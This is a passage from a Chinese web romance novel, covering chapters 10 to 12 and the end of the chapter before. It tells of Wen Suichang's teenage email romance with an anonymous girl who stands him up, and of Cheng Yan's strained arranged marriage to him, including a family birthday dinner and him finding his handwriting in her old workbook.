他有足够多的时间发呆,以及观赏窗外这场雨。 在那个念头从大脑里钻出来的时候,连他自己都感到疯狂。 雨声淅沥,他握紧了笔杆。 没有太多犹豫,片刻后,答题卡上已经写好的选择题和填空题答案,被他彻底更改。 他提前一个小时交了考卷。 试卷交上去,监考老师看着他最后那页空白的卷面,抬起头,脸上的表情从满脸的赞许顷刻间变成难以置信。 走出考场,他感到了前所未有的放松,同时隐有期待。他清楚自己在做什么,他知道这可能会影响到保送的名额,但他不在乎。 考完试,谢敬泽来他家找他。 “对了,岁昶,数学最后那道大题的答案是什么?我看班群里大家都在讨论,好像很有争议。”谢敬泽企图在他这里找到权威的答案。 但他眼尾没抬,说:“我没做。” “没做?”谢敬泽有些诧异,随后又庆幸地说,“这题这么难吗?幸好我没留什么时间去写。” “不知道,没看题目。” “什么?!”谢敬泽放下了游戏手柄,转头看他,“不是我说,你是不是有点过了,你就算是打算出国,也没必要做到这个份上吧。” 好歹是四校联考,装也得装装样子,毕竟那么多双眼睛看着。 他淡淡地说:“不是这个原因。” “那是?” 温岁昶望向书房里的电脑,眼神暗了暗,“我在等一个人找我。” — 出成绩那天,不出意料,温岁昶被数学老师、班主任以及教务主任陆续叫进了办公室。 “不是老师说你,但是这么简单的题目你是怎么做错的?连选择题第一题这种送分题你都能做错。” “数学竞赛的种子选手,这次联考只考了43分,你说像话吗?” 年过半百的数学老师愁得茶都喝不下,保温杯里的枸杞红枣茶还是满的:“英语145,数学43,你不会是在故意整老师吧,下次开会老师头都抬不起来了。” 他数学考试不及格的事很快在年级里传开了,这是他第一次掉出年级前五十名。 他知道一定也传到了她耳朵里。 当天傍晚下了课,没有署名的未读邮件久违地出现在他的邮箱首页。 “听同学说你这次联考数学没考好,发生什么事了吗?” 她的语气没有往常熟稔,有些小心翼翼。 温岁昶握着鼠标,盯着这条消息看了十分钟。 明明和他设想的一样,她主动给他发了消息,但他看到这行字,眼眶莫名有些热,打字时指节微微在发颤。 “我想见你。” 这毫不相关的一句话,是他此刻最真切的心情。这四个字在他喉间滚了千百遍,他终于有勇气再一次发了出去。 “等见面我会告诉你原因。” 等待是那么漫长,那一个小时像过完了一整个雨季,她终于回复。 “为什么呢,如果你见到我,一定会失望的。” 温岁昶眼底闪过痛苦的神色,打字速度变快:“为什么要假设还没发生的事,我不在乎你是什么样的人,外貌、长相这些都不重要。” 沉默在他们之间打了结,自此每一分每一秒都变得难熬,一切似乎又要复刻那日的发展,只是这次又要多久,一个月?两个月?还是半年。 最后他妥协了。 “好,可以不见面,但不要像上次一样突然消失,可以吗?” 他做出了让步,她的消息很快发了过来。 “你还没告诉我原因,最近是发生什么事了吗,还是这次数学特别难?我看了你们理科数学的试卷,但最后大题的题目我都看不懂-_-” 温岁昶嘴角带笑:“这么关心我?” 发完消息,他双手交叠枕在脑后,姿态惬意,盯着电脑屏幕。 “我是关心学校的荣誉,听说这次四校联考总分第一名在实验中学,数学考了143。” 温岁昶不满,撇了撇嘴,在键盘上打字。 “哦,反正这是他最后一次拿第一了。” 她好像反应了一会。 “……温岁昶,你太狂了。” 一个月后的市一模,他用实际行动证明了他话里的真实性。 总分前十的名单,他的名字赫然排在第一位。 “我是不是没有说谎?” “没……” 他问她:“厉不厉害?” 他变得有些幼稚,有些不像自己,连他都感到难以置信自己竟然会说出这样的话,他只知道他很想得到她的认可。 “当然,厉害[赞]。” 温岁昶嘴角弯了弯,仰头靠在电脑椅上。 一直以来,他几乎是被众星捧月一般长大的,从小听过的赞美的话不可胜数,但此刻得到她的认可,却是完全不一样的感觉。 仿佛他这次那么努力甩开第二名将近四十分,只是为了听到她这一句赞扬。 十七岁生日那天,朋友在市中心的别墅为他举办了盛大的生日宴会。 那时的他应付这样的场面远远没有那么游刃有余,宴会中途,他走到阳台透透气。 习惯性地打开邮箱,忽然视线在屏幕凝住。 在二十分钟前,他收到一封邮件。 “温同学,听说今天是你的生日,祝你生日快乐,高考顺利,所有愿望都能实现! 你的生日礼物我放在操场升旗台旁边了,不过不是什么贵重的东西,但还是希望你会喜欢。” 胸口像被什么撞了一下,很短促却很有力,像是有千百只蝴蝶争先恐后地从胃里逃离,那感觉很陌生,他忽然明白了为什么“butterfliesinstomach”的中文释义是“紧张”。 夜色里,他几乎是飞奔去的学校。 他想,只要他跑得再快一些,说不定她还没离开。 他有很多话想亲口对她说,或者是听到她亲口对他说一句“生日快乐”。 可惜等他去到,操场上空无一人。 升旗台旁放着一份礼物,用精美的袋子装着,是佩索阿的诗集。 夜风穿过身体,衬衫紧紧贴着轮廓,他的目光变得炽热又直白,没有任何迂回、也不需要多加思考,他拿起了手机,输入文字。 “我喜欢你。” 他很确定,他喜欢她。 “可是,你没有见过我。” 她的语气很冷静。 “嗯,但我喜欢你。” “我长得很普通。” “我不在意。” “我学习成绩也没有很好。” “我不在意。” “我没有你那么优秀,真实世界的我很不起眼,性格也很闷。” “我不在意。” 少年的心思直白、不加掩饰,他坐在升旗台旁,夜晚的风包围身体,手心因为紧张浸出轻微的汗意。 又是一阵漫长的沉默。 直到叮地一声,有新的邮件进来。 “那等高考结束,我们见一面吧。”她像是下定了某种决心。 温岁昶捧着手机,欣喜的神色流露在他的双眼。 不知道想到什么,他又补充了句:“那你答应我,在高考结束之前,都不能喜欢别人,不能交男朋友。” 五分钟后,她回:“这不能保证。” 温岁昶的唇角立刻下来了。 “?” 她还没回,他又发了过去:“你不会同时还给其他人写信吧?” 他看得出来,她喜欢成绩好的,能在学习上帮助到她的。 感受到了威胁,温岁昶一时有些生气,打字速度变快:“你给实验中学那个书呆子也写信了?” 上次联考他输给了那个书呆子,她不会真的以为他比不上他吧。 他有些后悔了。 胸口憋着一股气,他一眨不眨地盯着手机屏幕。 幸而这次,她回复得很快。 “我哪有那么多时间?我只给你写过信。” “真的?” “嗯。” “那刚才的话是什么意思?你要和别人谈恋爱吗?” “我逗你玩的^_^” 虽然生气,但却松了一口气。 与此同时,邮箱又有一条消息弹了出来。 “温岁昶,我想努力学习,我想和你上同一所大学,这是我今年最大的愿望。” 这句话和表白无异,温岁昶胸腔里被某种柔软的物质填满,他屈膝从升旗台跳下来,夜风拂乱他的头发。 距离高考还有78天,他却希望这一天可以快点到来。 时间一天天过去,课桌上的试卷越来越厚,他抽屉里的情书混杂在各式各样的模考卷里,直至某一天,桌面的物品全部清空,没留下一丝痕迹,高考来了。 传闻北城每年高考都会下雨,但那一年却是少有的大晴天,绿色的吊扇在头顶上呼呼地转着,试卷翻页的沙沙声让人下意识绷紧了神经。 最后一科考完,温岁昶走出考场,他没有太大的感觉。 他已经获得保送的机会,这次考试对录取结果不会有任何影响。他有太多退路,就算没有保送,他还能出国,这次考试不足以让他感到紧张。 如果可以的话,他希望把他的运气全都分给她。 见面的时间很快定下,就在考完试的那个周末,地点是市中心的那家书店。 前一天晚上,温岁昶罕见地失眠了。 喜欢一个人或许是自卑的开始,他竟也担心自己不够好。 他原是那么骄傲自负、眼高于顶的人,竟开始纠结起明日的穿着,卫衣还是衬衫,石英表还是机械表。 “冲锋衣是男人最好的医美。” 他看着搜索引擎处显示的这句话,眉头紧锁,思考在30c的天气穿冲锋衣的可行性。 定好的行程一遍遍复盘,他没有恋爱的经验,请教谢敬泽还被笑话了一番。 “不是我说,你顶着这张脸,什么样的女生会拒绝?” 最后,他在花店定了一束洋桔梗。 在他的想象中,她和洋桔梗一样,温柔、坚韧、独特。 出门时下了雨,他站在书店屋檐下静静地等,马路上人来人往,他仔细打量伞下每一张陌生的面孔,他害怕错过其中相遇的目光。 紧张、期待、不安,他几乎忘了时间的流逝。 世界是被雨晕染过的一张白纸,一切像被抽了帧的影片在他眼前闪过,路过的人忍不住往他身上看,连书店的工作人员都出门询问。 他才发现距离约定好的时间,已经过去了两个小时。 “我在书店门口,你到了吗?” “下雨了,我去接你吧。” “我预定了附近的一家法式餐厅,你喜欢吃法餐吗?” 所有消息都石沉大海。 心脏骤然收紧,那一刻,他想到了最坏的可能。 即便这样,他还是站在书店门口一直等到晚上十点书店打烊。 复古木门上了锁,书店的灯灭了,他脚边的阴影被彻底吞没。 手里那束洋桔梗被他扔到了路边的垃圾桶,清新淡雅的花束染上了隔夜食物腥臭的味道。 他站在路灯下,给她发了最后一封邮件。 “为什么?” 为什么没来? 为什么反悔? 为什么……不能给他们之间一个机会? 可惜不会再有答案了。 那个让他魂牵梦萦、夜不能寐的人,像人鱼公主一样消失在他的世界里。 九月份,新生开学。 开学的第一周,就有人和他表白。 对方话音刚落,他回过神,莫名问了句:“你平时会用邮箱吗?” 女孩像是被问住了,愣了愣:“比较少,偶尔会用来传一下资料,怎么了?” “没什么。” 他也觉得自己可笑,但自那以后,他再也没有对任何一个人产生过兴趣。 后来,谢敬泽问他:“如果有一天你能再见到她,你想对她说什么?” 他沉默了很久很久,最后摇了摇头。 他只知道,他所有难能可贵的真心,全给了青春期那一场懵懂青涩、美好虚幻的梦。【你现在阅读的是魔蝎小说 moxiexs】 10、第十章 “程颜?” 有双手在眼前晃了晃,程颜慢半拍地回过神,望向坐在对面的庞斯慧。 这会正是午饭时间,港式茶餐厅里坐满了附近格子间工作的白领,聊的都是和工作有关的话题,程颜听着店里播放的港乐,不知怎么走了一会神。 她局促地问:“不好意思,你刚才说什么了?” 庞斯慧放下柠檬茶,用吸管搅了搅杯里的冰,把问题又重复了一遍:“我说,你这次羽毛球比赛,分到和谁一组?” “哦,沈雪棠。” “沈雪棠?”庞斯慧的反应比她还要大,“不是吧,这么巧?” “是挺巧的。” 程颜也很意外。 听说这次比赛分组是随机抽签决定的,她看到名单的时候也愣了愣。 “不会是有什么暗箱操作吧,这人关系硬得很,”庞斯慧对这人印象不好,往坏里猜测,“那估计很难晋级了,说不定裁判都被收买了。” “你别这么说,我本来就打得不好。” 程颜知道自己的实力,按照正常比赛,她也很难晋级,顶多就是一轮游的水平。 庞斯慧见不得她这副样子,给她猛灌鸡汤:“程颜,你得拿出斗志来,这可不是简单的比赛,这是我们打响反对关系户、反对阶级剥削的第一枪!” 程颜哭笑不得:“你有看过我打羽毛球吗?” 庞斯慧很老实地摇头:“还没有。” “下次可以看看。” 程颜想,等看了她就死心了。 吃完饭回到办公室,还有三十分钟才上班,程颜趴在睡枕闭上眼睛午休,但不知是不是喝了柠檬茶的原因,她竟毫无睡意,就这么睁眼等着办公室的灯亮起来。 下午大脑昏昏沉沉的,幸好没什么重要的工作,她在公众号后台导出她今年所有文章的数据,提前开始写年末工作报告。 到了六点,程颜整理桌面上的文件,关电脑,准备下班。 “今天这么早?不像你啊。”张深从茶水间回来,右手还端着骨瓷杯,斜靠在她工位前和她搭话,“今晚有事?还是约了人?” 程颜点头,笑道:“今天是我妈妈生日。” “这样啊,还想说问你要不要一起点外卖呢,”张深看了眼时间,下巴往门口的方向抬,“那你快去吧,晚了路上堵车。” 今天下班早,一路上遇到不少同事,不算窄小的电梯间挤满了人,程颜硬着头皮寒暄了一阵。 刚走出电梯,放在大衣里的手机不停地震动,她还以为是网约车司机到了,但看到来电显示的瞬间,程颜神色变了变。 她在一楼大厅突兀地停了下来。 手机还在震动,握在手里,像个快要爆炸的定时炸弹。 原来仅是看到他的来电,都能轻易扰乱她一整天的心情。 人来人往,她走到角落,迟疑着接通了电话。 “下班了?” 男人低哑磁性的嗓音钻入耳膜。 “嗯。” “我在你公司楼下。” 大脑嗡了一声,程颜有些不确定,情绪像快要溢出杯子的水:“你在……侨金大厦?” “嗯,”温岁昶停顿片刻,又说,“你应该认得我的车牌。” 说不清是什么样的心情,程颜脚步变得急切,黯淡的眼神渐渐有了光。 “我现在过来。” 隔着一整个马路,远远地,她看到温岁昶的车停在对面。 和程朔车库里那些张扬的五颜六色的跑车不同,温岁昶似乎只钟爱黑白两色,他今天开的是辆黑色的suv,很低调。 拉开车门,程颜下意识看向驾驶座的男人。 剪裁得体的冷灰色西服,看不到丝毫褶皱,袖口处是一对铂金款袖扣,他右手搭在方向盘上,姿态闲适。 一个月不见,他好像没有什么变化,似乎所有的忐忑不安心神不宁都只是她的,他还是那样光风霁月,没有任何事情能影响到他的心情。 程颜系上安全带,取消了网约车的订单。 轿车在马路上平稳地行驶,不知是不是该怪隔音太好,车厢内很安静,是一种能把人逼疯的安静。 到了红绿灯路口,程颜终是没忍住开口。 “你今天……怎么来了?” 温岁昶目视前方,开口:“你妈妈下午给我打了电话。” 交通指示灯在一秒一秒跳动,所有的雀跃像碳酸饮料表面漂浮的气泡在空气里逐个破裂、炸开。 原来是这个原因。 这就是他今天出现在她公司楼下的原因。 她还以为—— 程颜望向窗外,自嘲地笑了笑。 自此,两人无话,狭窄的空间里,不同寻常的安静,连视线都难以安放,让人迫切地想要逃离。 终于,到了目的地,车刚停下来,程颜就打开车门,下了车。 从车库走到草坪,她大口地呼吸空气,像是搁浅在岸边太久的鱼终于回到了海里。 但身后的脚步声慢慢追上了她,在进门前,温岁昶握住了她的手。 宽大的手掌包裹着她的手,指节压着她的指节。 “手心怎么这么凉?是不是刚才车里暖气开太低了。”他眉目温柔,轻声询问。 程颜心里一颤。 邹若兰从来没怀疑过他们的婚姻有问题,大概是因为在她面前,温岁昶永远都表现得那么温和得体。 “没事。” 温岁昶笑笑,牵着她的手走进门,游刃有余地和长辈们一一打着招呼。 好像一个月前那通不愉快的电话不存在,好像他们之间没有生出任何嫌隙。 他是完美的丈夫,是邹若兰眼中温柔体贴、无可指摘的女婿。 “岁昶,你从纽约寄回来的礼物我都收到了,有心了,在国外出差还惦念着家里,听振恒说你公司快要上市了,最近很多事要忙吧。” 邹若兰很满意这个女婿,每次见面都笑吟吟的,毕竟这女婿不仅家世好、学历高,而且还有能力,私生活又干净,比起那些坐吃山空的纨绔子弟不知好到哪里去了,她每次和那些贵妇太太们搓麻将聊起来那都是只有别人羡慕的份儿。 “是有些忙,所以有段时间没来看望您了。”温岁昶眼底露出愧疚的神色。 “不要紧,工作重要,更何况现在是关键时期,你注重身体才是,听颜颜说,你总是加班,可不能熬坏了身体。” 话音刚落,程颜感觉到旁边的温岁昶似乎看了她一眼。 “我会注意的,等忙完这段时间,我打算和颜颜出国度假休息一会。” 程颜怔住,眉头微皱。 她已经无从分辨温岁昶话里的真假,究竟这是他敷衍邹若兰的话术,还是真的有这样的打算? 如果真的有这样的打算,那为什么她从来都不知道。 “几个月不见,看来你们的感情愈发好了。” 程朔懒散的声音不合时宜地插了进来,比起真诚的祝福,听起来更像是在阴阳怪气。 程颜顺着声音看了过去。 程朔不知什么时候站在楼道转角,他似乎也是刚从外面回来,身上黑色的羊绒大衣还没来得及脱下,他倚在木质扶手上,漫不经心地往这边瞧。 明知道他是在嘲弄自己,可即便是这样,在邹若兰面前,她还是喊了他一声“哥。” 程朔下楼,在温岁昶面前站定:“前天我朋友还在洛杉矶看到你了,这么快回来了?” “今早刚到的。” 程朔挑眉,用开玩笑的语气说道:“那怎么陈颜早上还说你在国外,看来她也不知道你今天回国?” 原来挖的坑在这。 程颜倒吸了一口凉气,心头揪紧,旁边的温岁昶却淡定许多,微笑道:“她或许是想给你们一个惊喜,所以才没有如实告诉你们。” 说完,温岁昶低头看向她,“是不是?” 理由都给她找好了,程颜点头应了声:“嗯。” “有心了,还特意赶回来,”邹若兰没察觉出任何异常,厨房里佣人在忙活,客人还没到齐,她望向楼上,“对了,颜颜他爸今天还念叨你呢,你上楼陪他下会棋吧。” 程颜正走神,忽然,旁边的温岁昶捏了下她的手。 很亲昵的举动,她愣了愣。 “那我去陪爸下会棋,待会再下来。” 他低头看她,目光柔软得像是春日潋滟的湖水,对上他的视线,程颜有一秒的出神,继而可悲地想到——原来“爱”是真的可以演出来的。 心不受控地跳得很快。 无疑,他果然演得很好。 客人陆续来了,别墅里热闹得不像话,邹若兰忙着应酬,程颜趁这机会走到院子和曲奇玩了一会。 “曲奇”是一只拉布拉多犬,是她大学毕业那年,程朔养的,它性格温顺,很爱黏着她,一见到她就热情地扑了过来。 程颜半蹲在草地上,晃了下手里的飞盘,这是它最爱玩的游戏,果然一见到飞盘曲奇立刻变得兴奋,吐舌头摇起尾巴。 她摸了下它的脑袋,将飞盘扔了出去—— 然后,她的视线被挡住,落日的余晖也被挡得彻底。 程朔挡在她面前,逆着光居高临下地看着她,开口时声音落在她头顶。 “开心吗?”他问。 “什么?”程颜装作听不懂。 “你知道我问的是什么。” 又是一阵沉默。 程颜将视线挪开,强忍着胃里的酸涩,挤出一个笑容:“他对我那么好,又关心我,照顾我,还陪我一起给妈妈过生日,所有人羡慕我都来不及,我为什么要不开心?” 程朔扑哧一声笑了,嘴角的弧度越来越深:“你平时就是这么骗自己的?” “陈颜,”程朔很认真地喊她的名字,“你说这些自己信么?” 自己心里清楚是一回事,但被人当场戳破又是另一回事。 十二月的北城,室外的风很大,程颜迎上他嘲讽的眼神,嘴唇抿紧,她在忍耐。 指甲刺进了掌心的肉,心里也跟着发堵,明知道程朔就是这么恶劣的人,不该跟他多费口舌,但此刻心酸混杂着愤懑,她也变得不理智起来。 “我喜欢他,为他做什么我都乐意,和他待在一起的每一天,都比呆在这个家里看到你开心多了。” 他不就是想嘲讽她吗,他不就是想让她承认她过得不好吗,她偏不给他这个机会。 很早以前,她就发过誓,绝对、绝对不在这个人面前哭。 她至今都想不明白这个世界上怎么会有人以别人的痛苦作为自己快乐的养料,似乎她不高兴,他就开心了。 话音一落,程朔果然被气得不轻,那双桃花眼再也不是刚才那戏谑的、漫不经心的神色,望向她的眼神像是要把她当众掐死。 在他发怒之前,她往后退了一步,准备离开。 “前几天,有一个姓徐的人在公司楼下和我攀关系——”程朔好像没打算放过她,又提起另一件事,像是笃定她会回头似的,语调不疾不徐。 程颜脚步停了下来。 “他说是你在云城福利院的朋友,还拿出了你们在福利院的合照,他说很喜欢我们公司的企业文化,想来我这当后端工程师。” 同样的话术…… 程颜脸色变了变。 在她印象中,徐昊远不是这样的人,以前在福利院最正直、最“死脑筋”的人就是他,他最不屑这些人情交际。 程朔轻笑了声,又说:“我看他是不是搞不清楚我和你之间的关系,他怎么会认为我会看在你的份儿上让他入职……” 大脑是乱的,像堵满了大量无法分解的垃圾,难以进行有效的思考,她立刻走到一边,给徐昊远打了电话。 电话很快被接通。 “阿颜?” “嗯,是我。” 徐昊远捂着话筒,小声道:“你找我有什么事么,我这会还在加班呢,可能聊两句就得回去了。” 程颜一愣:“加班?你找到工作啦?” “对,最近太忙我都忘记告诉你了,我上周入职了,改天请你出来吃饭。”和上一次见面的状态不同,徐昊远声音里有掩饰不住的开心。 准备好的问题怎么也问不出口,她捏紧手机:“恭喜你啊,是哪家公司?” “穹域科技,就是你哥的公司,”说到这,徐昊远音量拔高,似乎也不再避讳旁人了,“你哥人特别好,给我安排进了核心项目组,负责的还是今年最热门的游戏呢……” 寒风刺骨,程颜难以置信地回过头,看向不远处正蹲下身抱着狗狗的程朔。 他到底在干什么。【你现在阅读的是魔蝎小说 moxiexs】 11、第十一章 晚上七点,程颜在餐桌旁落座。 今天来了不少亲朋好友、社会名流,虽然没有特意操办,但已经足够热闹,礼物经由佣人摆放进房间,进进出出了好几回才全部拿完。 菜肴丰盛,宾客大多已经坐下,程颜旁边的座位还空着,有个穿着华丽公主裙的小女孩咋咋呼呼地提着裙摆跑过来,对她妈妈说:“我要坐这个姐姐旁边。” 邹沁葶没好气地笑,纠正:“葭葭,不可以没礼貌,要叫姨姨。” 叶思葭嘟着小嘴不满:“姐姐还那么年轻,为什么要叫姨姨?你不是说看到年轻的都要叫姐姐吗?” 餐桌上大家都被逗笑,程颜也忍不住弯了嘴角,目光变得柔和。 邹沁葶对她说:“你别见怪。” “没事,”程颜向小女孩伸出手,示意她过来,“那你就坐这里吧。” 叶思葭嘴很甜,立刻说:“谢谢漂亮姨姨。” 她约莫才五六岁的模样,筷子使用得还不熟练,夹了半天都没把面前的牛肉夹起来。 “你要吃什么?我给你夹。”程颜对小孩还是很有耐心的。 叶思葭仰起头,小手一指,在餐桌上点了好几样菜,程颜一一帮她夹到碗里。 张姨在一旁看着,提议:“要不还是让我来喂小公主吧。” “没关系,我来吧,”程颜摇头,轻声说,“你今天都忙一天了。” 张姨不好意思笑笑:“不要紧的。” “刚刚葭葭和赵家的小孙女一起捉迷藏,一个人躲在小阁楼里,给我吓坏了,多亏了小颜帮我找,不然还真不知道她躲哪去了。”邹沁葶想起来还真是后怕,感激地看向程颜。 叶思葭得意地仰起脸说:“但我拿了第一名,不是吗?赵雨蓁还没十分钟就被人发现了。” 邹沁葶也没了办法,无奈地说:“对对对,你最厉害。” 程朔这时开了口:“有好胜心是好事,既然参与了,就要拿第一名。” “你看舅舅都夸我。” 程颜看了程朔一眼,很快又收回视线,给旁边的叶思葭盛了半碗黑松露焗饭。 “还要吃什么吗?”她问。 叶思葭左右晃了晃脑袋:“不用啦,我快吃饱了。” “我看颜颜这么喜欢小孩,你和岁昶有没有计划要一个?”邹沁葶好奇问了句,又补充道,“要是生个小公主,肯定长得特别可爱。” 程颜后背渗出了汗,筷子差点掉在餐桌上。 一时大家都看了过来,温岁昶没说话,但也正注视着她。 所以这一刻,他想的是什么呢? 他是在想他们小孩的模样,还是在想这么不幸福的婚姻没必要再多一个牺牲品。 满桌的饭菜顿时变得难以下咽,抬眼,竟然对上了程朔投来的目光。 他坐在她正对面,阴沉着脸,神色极紧张,透明的玻璃杯捏在手里,半眯着眼,有威胁的意味。 程颜看不懂他在想什么,但却找到了可以搪塞的话。 “还早呢,哥不是还没结婚吗?” 她把矛头指向了程朔。 本以为程朔会生气,但莫名地,她竟觉得他松了一口气。 邹若兰接过了话茬,望向自己儿子:“你看,你妹妹都要说你了,你现在年纪也不小了,该考虑人生大事了,别整天上那些乱七八糟的娱乐新闻,那些不入流的报纸一通乱写,像什么话?让沈家的人看到怎么想?” 聊到这个话题,餐桌上鸦雀无声,幸好主桌坐的都是来往比较密切的,不至于把话传出去。 程朔丝毫不在意:“我只是在工作,那些媒体爱怎么写,我可管不着。” “确实有些新闻也不能全信,那都是为了博眼球写出来的,”表弟叶峣出来打圆场,又端起酒杯走到程朔面前,“对了,朔哥,我敬你一杯,上次在沪市,多亏了你帮忙,不然我也拿不下这么大的工程。” 程朔没说什么场面话,但拿起酒杯,礼节性地抿了一口。 “舅舅,我也敬你一杯。”叶峣又走到程继晖面前,半躬着腰。 程继晖意思了一下,又对温岁昶说:“岁昶你也喝点吧,今天难得高兴。” “那我喝一点?”温岁昶偏过头征求她的意见,望向她的眼神倒真像是含情脉脉。 各式各样艳羡的目光看了过来。 “怎么连喝酒都得颜颜同意,看来平时在家是颜颜做主的呀。” “这小两口真恩爱,结婚三年了,感情还这么好。” “怪不得岁昶事业发展得这么好,家庭和睦,事业才会越做越大,智驭今年真是风头无两。” 程颜局促地坐着,一句话都没说,眼角余光她看到了程朔嘲讽的笑容,更是如坐针毡。 “今天都这么晚了,喝了酒就别开车了,明天再回去吧,”程继晖看了眼时间,“待会让人收拾一下小颜的房间。” 温岁昶没什么反应,点头:“也好。” 程颜木讷地接受了所有安排,就像是一个失去灵魂的提线木偶,任人摆布。 吃完饭,生日蛋糕推了上来,客厅的气氛更是热闹,邹若兰眉开眼笑地应酬着,她应对这些场面向来得心应手。 程颜站在不远处看着,突然叶思葭跑了过来,手里捧着一块蛋糕递给她:“姨姨,吃蛋糕。” “谢谢。”她笑着接了过来,“你吃了没?” “我吃啦,很好吃,不过妈妈说会蛀牙,只给我吃了一块,但我还想吃。”叶思葭小朋友失望地垂下脑袋。 “你妈妈说得对,小朋友不能吃太多甜的,等下次见面姨姨再买给你吃,好不好?” 叶思葭甜甜地应了声:“好!” 刚说完,她又瞧见曲奇在院子里撒欢,提起裙摆跑了出去。 人群喧闹,程颜打算去花房呆一会,只是刚起身,温岁昶就拉住了她的手。 “哪个是你的房间?” 程颜回过头,他应该是有些喝醉了,眼波像晨雾笼罩的湖水,迷离又荡漾,纤长的睫毛在灯光下缓慢颤动,声音不似往日清冷。 “什么?” “我九点钟有个视频会议,需要一个安静的房间,大概半小时结束。” 即便是醉了,但说话思路却仍旧清晰。 程颜只好带他上楼。 宾客们都在楼下,两人一前一后上楼,没有必要再演给谁看,于是又恢复了一贯的安静。 走到三楼拐角,程颜脚步停了下来,终是忍不住开口:“为什么要这样呢?” 温岁昶不解,低声问道:“这样,是什么样?” “为什么要在他们面前演戏?” 好看的眉头微微皱着,但很快又舒展开来,他用公事公办的语气回答了她的问题:“我们有义务让双方父母感到安心,不是吗?” 他又说,“在我父母面前,你演得很好,我理应配合你。” 程颜喉咙哽了哽,许久都说不出话来。 她望着他的眼睛,眼底情绪翻涌:“如果,我是说如果——” 温岁昶抬眼:“什么?” ——如果我不是在演呢? 但这句话最后还是被咽了回去。 “算了,没什么。” 她的房间在走廊尽头,门打开,她就下了楼。 脚步急促,像在逃离。 好像再不走,她就要被闷得喘不过气来。 走廊的灯映下她的倒影,一路上,她在想,这就是婚姻吗? 这就是她所期待的婚姻吗? 在旁人面前假装恩爱,实则形如陌路、无话可说。 站在二楼的阳台,风声簌簌,外面漆黑一片,她想起结婚前一天兴奋难眠、整夜辗转的自己,那时的她对未来充满了憧憬,她以为这是命运对她最后的补偿。 谁都不会想到一直仰望的人有一天会坐在她面前,成为她的相亲对象,又在那么多人里他偏偏选中了她,那么多的巧合都把他带到她面前,她以为她被命运眷顾了。 那时的她会想到有这一天吗? 不知在这站了多久,只是当张姨喊她的时候,她脸颊被风吹得通红,指节也冷得像刚捂过冰似的。 “颜颜,你怎么在这站着?这儿风多大,快去添件衣裳,别冻着了。” 程颜勉强挤了个笑容:“不要紧,您找我有什么事吗?” “我煮了醒酒汤,你看要不要给岁昶端上去,免得明天起来头疼。” “好,我一会就去拿。” 醒酒汤装在白色瓷碗里,一片陈橘皮孤零零地浮在表面,程颜端着刚热好的醒酒汤,推开房门。 她以为温岁昶还在开会,打算把醒酒汤放下就离开,但没想到门打开,温岁昶竟然站在她的书架前,手里拿着她的数学练习册,认真翻阅。 心跳一瞬间停了,大脑丧失了思考,她直愣愣地站在门口,像一株不会移动的植物。 他在逐页翻看,程颜的心快要从胸腔里跳出来,手心全是汗。 她在心里祈祷,不要被发现。 不要被他看到里面的内容。 但上帝没有听到她的祷告,温岁昶回过头,指着练习册的其中一页,迟疑了片刻,问她:“这是……我的字?” 她高一的数学练习册被他展开,过去了十年,她仍旧保存得很好,因为那上面有他留下的笔迹。【你现在阅读的是 】 12、第十二章 醒酒汤端在手里,她甚至忘了放下来,热气氤氲,房间里萦绕着陈皮酸涩微甘的气味。 温岁昶还在打量她的练习册,视线凝在那一页。 十年前的书籍,保存得像新的一样,那道解析几何求抛物线方程的题,他在旁边空白处写下了他的解题思路。 温岁昶眉头微微皱着,似乎连他自己也不太确定为什么他的字迹会出现在她的书里。 程颜眼底的紧张和惊慌悉数褪去,喉咙像被异物堵住,只是心里还存有一点点希冀,她帮他回忆:“高一那会,你就坐在我前面,第一学期的时候。” 她精确到了第一学期,只是温岁昶仍然神色茫然。 “那会你是数学小组的组长,我有些题目不会做,”她努力表现得云淡风轻,看不出任何端倪,就像在诉说最普通的一件事,“你主动给我讲解,帮我批改。” 时间被拉成细线,每停滞一秒都能切断周遭的空气。 “是吗?”温岁昶没什么反应,表情和平常无异,右手扶了下镜框,似在仔细回忆。 刚才开视频会议,他戴上了无框眼镜,倒更贴近学生时代的模样。 “抱歉,不太记得了。”他的声音很冷静。 脑子里嗡嗡作响,全是杂音,程颜想起了福利院食堂那台坏掉的、许久都没有人来维修的收音机,她一眨不眨地看着这个站在她眼前的人。 高中的时候,她读过一本书,是茨威格的《一个陌生女人的来信》,里面有一段话—— “你从来也没有认出过我,你从我身边走过,就像从一条河边走过,你踩在我身上,就像踩在了一块石头上面,你总是走啊走啊,不停地向前走着,却叫我在等待中逝去了一生。” 这本书上他写下的字迹,每一笔每一划都是那么熟悉,在那些日子里,她曾经回看过无数遍,以至于甚至能回想起他写下这些公式的具体日期。 而眼前这个人,他却什么都不记得了。 温岁昶拿着书往后翻,才相隔不到十页,他再次发现了自己的字迹,似是感到意外,他挑了挑眉,有些戏谑地说:“我以前这么乐于助人?” 程颜惊讶于自己这个时候还能挤出一个笑容,她把那碗快要凉了的醒酒汤放到茶几上,轻声说道:“是吧。” 温岁昶没有多想,他只知道高中和程颜短暂地当过一年的同班同学,倒不记得还给她讲过题目。 他从前对她印象不深。 结婚前,他对她唯一的印象是高一那年,她总坐在教室角落最不起眼的座位,有次被老师提问,他回过头看到她局促地站着,双手绞成一团,脸红摇头,他从来没想过以后和她还会有任何交集。 或许,命运就是这么令人琢磨不透的东西。 他没想过有一天她会成为他的妻子。 “你高二学了文科?”他好奇地问。 “嗯。” “为什么?” “没有具体的原因,家里人希望我学文科。” 那时邹若兰替她做了决定,她便这么选了,对她来说,学什么都差不多,一直以来,她都是这么被推着走的。 但温岁昶突然抬眼看向她:“和我结婚,也是你家里的决定?” 程颜视线凝住,右手攥得很紧,许久才点头应了声:“是。” 温岁昶轻笑了声,没再问下去,把手里的书放回了书架。 如果他再有耐心一些,再从书架拿下一本、两本……十本,便会发现书架这一行的所有书籍都和他有关。 他把她的心事翻开了一个角,什么都没发现,便又放了回去。 程颜假装整理书架,把那些书都放进里层,身后的温岁昶竟问了她一个问题:“你高中有喜欢的人?” 后背发凉,肢体变得僵硬,她手里的书啪嗒一声掉在了地上。 “看来真的有。” 温岁昶失笑,他只是随口一问,但她的反应给了他答案。 说实话,他有些意外,她看起来不像是会把注意力放在别人身上的人。 “嗯,隔壁学校的,和我们同一届。”她信口胡诌,好像只要不承认她喜欢的人是他,她就能保住自己的自尊。 “实验中学的?” “对。” 实验中学和他们学校离得不远,只隔了一个街道,两个学校间的交流活动很多,时常能碰到,有交集也不足为奇。 